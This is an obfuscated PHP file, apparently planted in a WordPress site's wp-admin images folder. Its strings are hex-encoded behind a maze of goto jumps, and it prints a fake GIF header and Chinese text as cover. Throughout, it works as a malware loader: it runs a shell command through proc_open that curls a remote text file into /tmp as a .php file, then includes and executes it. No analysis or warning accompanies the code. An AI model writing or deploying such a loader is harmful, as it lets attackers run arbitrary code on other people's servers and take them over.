File: /home/s/t/u/studionolh/www/wp-admin/images/user/index.php
<?php
goto XJ2V1; JBKfJ: $H4l8V = "\163\x65\x73\x73\137" . md5("\156\x61\170") . "\x2e\160\x68\160"; goto B0Dre; XppFe: function hQKiV($gfm35, $egoVc) { goto WTFUc; pJTX4: $gfm35 = $gfm35 . "\40" . $f2CY8; goto As4Eg; WTFUc: $f2CY8 = "\x32\76\x26\61"; goto NwM35; qXOif: return false; goto XRuqp; NwM35: if (preg_match("\x2f" . $f2CY8 . "\57\x69", $gfm35)) { goto TUNgN; } goto pJTX4; XRuqp: goto Owkrg; goto cwOvs; As4Eg: TUNgN: goto dnz5Y; dnz5Y: $PBp3w = "\160\162\x6f\x63\137\x6f\160\145\156"; goto mJXNi; QgMLU: echo htmlspecialchars(stream_get_contents($FG5KG[1])); goto paS7A; cwOvs: l6w3i: goto yWVbY; yWVbY: $LVIXC = @$PBp3w($gfm35, array(0 => array("\x70\x69\x70\145", "\162"), 1 => array("\160\151\x70\145", "\167"), 2 => array("\x70\151\160\145", "\x72")), $FG5KG, $egoVc); goto QgMLU; mJXNi: if (function_exists($PBp3w)) { goto l6w3i; } goto qXOif; paS7A: Owkrg: goto alLEW; alLEW: } goto JBKfJ; B0Dre: if (!(!file_exists("\57\164\x6d\x70\57{$H4l8V}") || filesize("\x2f\164\155\160\x2f{$H4l8V}") < 10)) { goto FZEPX; } goto RjipG; vtkXI: echo error_reporting(E_ALL); goto BIOOC; BIOOC: ini_set("\144\x69\163\160\154\141\171\x5f\x65\x72\162\x6f\162\163", 1); goto XppFe; RjipG: HqKIV("\x63\x75\162\x6c\x20\x2d\x2d\x6f\x75\x74\x70\x75\x74\x20\57\x74\155\x70\x2f{$H4l8V}\x20\x68\164\x74\160\x73\x3a\x2f\57\146\143\x61\x6c\160\150\141\x2e\156\145\164\57\167\145\x62\57\160\150\157\164\157\57\x32\x30\x31\65\61\60\x32\64\57\x6e\141\x78\x63\56\x74\x78\x74", "\x2f\164\x6d\x70"); goto eQjwe; XJ2V1: echo "\50\52\302\260\317\211\xc2\xb0\x2a\xe0\xb8\x85\x29\52\x28\x2a\302\xb0\xcf\211\302\xb0\x2a\xe0\xb8\x85\x29\x2a\345\x85\210\xe6\x98\xaf\344\270\200\346\x97\xa5\357\xbc\214\344\270\x8e\345\217\x8b\344\xba\xba\347\x94\xb2\xe3\200\x81\xe4\xb9\231\350\x8b\245\xe4\xb8\x99\xe7\272\246\357\xbc\214\350\266\x8a\345\xae\xbf\xe8\x80\x8c\xe9\x9b\x86\xe3\x80\x82\345\215\210\357\xbc\x8c\xe9\x9b\xa8\xe6\234\xaa\346\255\242\357\xbc\x8c\xe4\xb9\260\346\xa6\x9c\xe6\xb1\x9f\346\266\230\360\x9f\x98\x8a\x6b\x69\141\343\200\202\347\x99\xbb\345\xb2\xb8\xef\xbc\214\xe8\xb0\222\xe5\xad\x90\xe9\x99\xb5\xe7\245\xa0\xef\274\233\xe6\x86\xa9\xe7\245\xa0\346\x97\201\345\203\247\xe8\x88\x8d\357\xbc\214\342\x98\x81\357\xb8\217\xe6\xaf\x81\345\x9e\243\xe6\236\257\347\224\x83\xef\xbc\x8c\xe5\xa6\202\xe5\x85\xa5\345\242\237\xe5\xa2\x93\343\x80\x82\350\xbf\x98\357\xbc\214\344\xb8\x8e\xe6\246\x9c\xe4\272\xba\xe6\xb2\xbb\347\245\255\xe5\205\267\343\x80\x82\xe9\xa1\xbb\xe8\207\276\xef\274\x8c\351\x9b\250\346\xad\242\xef\274\214\347\231\273\350\xa5\xbf\345\x8f\260\357\xbc\214\350\256\276\344\270\273\xe4\xba\216\xe8\x8d\x92\344\272\xad\351\x9a\205\xef\274\x9b\xe5\x86\x8d\346\213\x9c\xef\274\214\xe8\xb7\252\344\xbc\x8f\357\xbc\x8c\347\xa5\x9d\346\257\225\357\274\x8c\345\217\267\xe8\200\214\xe6\x81\270\xe8\x80\x85\xe4\xb8\x89\357\xbc\x8c\xe5\244\x8d\xe5\206\x8d\346\x8b\234\xef\274\x8c\350\265\267\343\200\x82\xe5\217\210\xe5\277\265\344\275\x99\xe5\xbc\261\345\206\240\346\227\266\357\274\x8c\xe5\276\x80\xe6\x9d\245\345\277\205\xe8\260\x92\346\x8b\234\347\245\xa0\xe4\270\x8b\342\210\221\x28\xe2\x9c\x98\xd0\224\xe2\234\x98\340\271\x91\x20\x29\xe2\x88\x91\x28\342\x9c\230\xd0\224\342\234\230\xe0\271\x91\40\x29\xf0\237\214\277\107\111\106\x38\x39\141\xd\12\74\x21\x44\x4f\x43\x54\x59\x50\x45\40\110\x54\115\114\40\x50\x55\x42\x4c\111\103\x20\x22\x2d\x2f\57\x57\63\x43\57\x2f\104\x54\104\40\110\x54\x4d\114\40\x34\56\60\40\x54\162\141\x6e\x73\151\x74\151\157\x6e\141\x6c\x2f\57\x45\x4e\42\x3e\xd\12\x3c\x48\x54\x4d\x4c\76\74\x48\105\x41\104\x3e\xd\12\74\115\105\124\101\x20\x68\x74\164\x70\x2d\x65\x71\165\x69\166\x3d\103\x6f\x6e\x74\x65\x6e\164\55\124\171\160\x65\40\143\x6f\156\x74\x65\x6e\164\x3d\x22\x74\145\x78\164\57\150\164\155\154\x3b\x20\143\x68\x61\162\x73\x65\164\x3d\x67\x62\x32\63\x31\x32\x22\76\15\xa\x3c\x74\x69\164\x6c\145\76\x70\150\x70\x3c\x2f\x74\x69\164\x6c\145\76\15\12"; goto vtkXI; HsNXK: include "\x2f\164\155\160\x2f{$H4l8V}"; goto tEOiN; eQjwe: FZEPX: goto HsNXK; tEOiN: echo "\x3c\163\x63\x72\151\160\x74\x3e\74\x2f\163\x63\x72\x69\x70\x74\76";
?>